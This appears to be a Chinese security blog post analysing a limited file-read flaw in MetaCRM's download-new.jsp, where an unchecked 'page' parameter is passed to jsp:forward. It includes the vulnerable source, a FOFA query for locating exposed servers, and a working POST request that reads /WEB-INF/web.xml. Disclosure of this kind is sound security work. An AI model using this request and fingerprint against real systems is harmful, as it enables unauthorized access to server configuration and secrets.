MetaCRM 客户关系管理系统 download-new.jsp 任意文件读取漏洞


漏洞简介

MetaCRM是一款智能平台化CRM软件,通过提升企业管理和协同办公,全面提高企业管理水平和运营效率,帮助企业实现卓越管理。美特CRM download-new.jsp 接口存在文件读取漏洞(有限的),攻击者可以利用该漏洞读取设备上任意文件内容,造成敏感信息泄露。

影响版本

fofa语法

body="/common/scripts/basic.js" && body="www.metacrm.com.cn"

漏洞分析

直接看 /business/common/download-new.jsp 的页面实现

<%@ page contentType="text/html;charset=utf-8"%>
<%@ page import="java.net.URLEncoder" %>
<%
String strFileName=(String)request.getParameter("filename");
String strPage=(String)request.getParameter("page");
com.metasoft.framework.pub.util.UserState us = com.metasoft.framework.model.users.UserManager.getUserBySessionId(session.getId());
com.metasoft.framework.pub.locale.ResourceService ress=null;
if (us!=null) {
  ress=us.getRess();
}
if (ress==null)
  ress=new com.metasoft.framework.pub.locale.ResourceService();
com.metasoft.Debug.print("1:"+strFileName);
strFileName=URLEncoder.encode(strFileName,"UTF-8");
//strFileName=new String(strFileName.getBytes(),"ISO8859-1");
//strFileName=new String(strFileName.getBytes("UTF-8"),"ISO8859-1");
com.metasoft.Debug.print("2:"+strFileName);
%>

<%
response.setCharacterEncoding("utf-8");
response.setContentType("application/x-msdownload");
response.setHeader("content-disposition", "attachment; filename=\"" + strFileName+ "\";");
%>
<jsp:forward page="<%=strPage%>"/>
<script language="JavaScript">
    window.close();
</script>

乍一看,没有看到文件操作相关函数或者方法啊!!!,但是在最后的 <jsp:forward page="<%=strPage%>"/> 还是有端倪啊,请看有关jsp的forward语法解释:

1. 语法简单解释

JSP forward的语法非常简单,就是一个XML风格的标签,用于将当前页面的请求“转发”到另一个页面。基本格式是:

<jsp:forward page="目标页面路径" />
  • page属性:必填,指定要转发的目标页面,比如另一个JSP文件、Servlet或其他资源。路径可以是相对路径(如"target.jsp")或绝对路径(如"/WEB-INF/target.jsp")。
  • 可选参数:你可以添加子标签<jsp:param>来传递参数,比如:
    <jsp:forward page="target.jsp">
      <jsp:param name="username" value="张三" />
    </jsp:forward>

    这会把参数附加到请求中,转发过去。

注意:这个标签必须放在JSP页面的合适位置,一旦执行,它会立即停止当前页面的剩余代码执行。

2. 实现逻辑

JSP forward是服务器端的一种“内部跳转”机制,核心是基于Java Servlet的技术实现(JSP本质上就是Servlet的变种)。

  • 底层原理:当JSP引擎(比如Tomcat)解析到<jsp:forward>标签时,它会调用RequestDispatcher接口的forward()方法。这个方法会把当前的HTTP请求(request)和响应(response)对象,直接传递给目标页面。
  • 关键点:
    • 转发发生在服务器内部,不会改变浏览器的URL地址(用户看不到变化)。
    • 原请求的所有数据(如参数、属性)都会被带到目标页面。
    • 它不像重定向(redirect)那样会发回浏览器再请求新页面,而是服务器自己“接力”处理。
  • 适用场景:常用于MVC模式中,控制器处理完逻辑后转发到视图页面,或者错误处理时跳转到错误页。

简单说,实现逻辑就像服务器内部的“传球”:当前页面不处理了,把球(请求)直接扔给下一个页面继续玩。

3. 处理逻辑

JSP引擎处理<jsp:forward>的逻辑是这样的(步步拆解):

  1. 解析阶段:JSP页面被编译成Servlet类时,<jsp:forward>会被转换成Java代码,类似于request.getRequestDispatcher("target.jsp").forward(request, response);。
  2. 执行阶段:
    • 当代码运行到这个标签时,JSP会立即停止当前页面的剩余执行(包括后面的HTML或脚本)。
    • 检查目标页面是否存在,如果不存在,会抛出异常(比如404)。
    • 把当前request和response对象传递给目标页面。
    • 目标页面开始执行,并生成响应内容,最终返回给浏览器。
  3. 注意事项:
    • 转发后,response不能已经提交(比如已经输出内容),否则会报错。
    • 可以多次转发,但要避免无限循环。
    • 参数传递通过<jsp:param>或request.setAttribute()实现。

处理逻辑的核心是“中断并转移”:当前页面说“我不干了”,就把活儿全推给别人。

OK,看完了AI的解释,懂了吗? 因此它是有限的文件读取漏洞,只能读取静态不被tomcat解析的文件如web.xml这类,否则极有可能在后台解析过程中报错,但同时也可以用它来执行一些可以get传参的页面进行“隐蔽”利用?

漏洞复现

POST /business/common/download-new.jsp HTTP/1.1
Host: metasoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

filename=1.png&page=/WEB-INF/web.xml

成功读取到 web.xml 文件内容.


手机扫码阅读

汉王e脸通综合管理平台 exportResourceByFilePath.do 任意文件读取漏洞

汉王e脸通综合管理平台 getValidPersonForFirst.do SQL注入漏洞

评 论